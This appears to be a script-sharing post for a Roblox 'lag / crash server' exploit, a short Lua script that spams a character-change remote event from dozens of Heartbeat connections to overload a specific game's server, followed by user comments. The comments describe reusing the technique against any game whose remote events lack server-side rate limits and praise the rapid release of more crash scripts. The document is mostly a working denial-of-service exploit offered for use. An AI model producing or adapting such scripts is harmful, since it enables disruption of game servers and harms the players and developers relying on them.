
Key Required Verified

-- @build-failed
-- lag / crash server (lobby only)
-- you need a highβperformance device to handle this script
if setfpscap then setfpscap(math.huge) end
repeat task.wait() until game.Loaded
if game.PlaceId ~= 16116270224 then return end
local getservice = game.GetService
local replicatedstorage = getservice(game, "ReplicatedStorage")
local runservice = getservice(game, "RunService")
-- event --
local Proggy = replicatedstorage:WaitForChild("TowerData"):WaitForChild("Poppy")
local ChangeCharEvent = replicatedstorage:WaitForChild("Events"):WaitForChild("ChangeChar")
-- loop --
for i = 1, 30 do
runservice.Heartbeat:Connect(function()
ChangeCharEvent:FireServer(Proggy)
end)
end



how fast do you make scripts bro
@blep 2-10 minutes per server
@blep they all just same the bugs, just spam (res* event , clone tool, or change morph events) they always forgot to put a serverside cooldown in remote event
@build_failed that's actually smart
@blep this basically works on every game , but i dont know how to reduce fps drops
gun grounds ffa and weaponry are affected by this bug too, and just drops my fps to 0 :sob:
@para4dox i reported 3 server crasher to the developers and 10 are released
Regretevator Doors..
So every game with a remote event that changes your character, might have this vuln
@Noah1337 yeah. if they did not code the server-side rate limit
probably affects a lot of famous games too
brotha calm down 10 scripts in just 1 hour
w script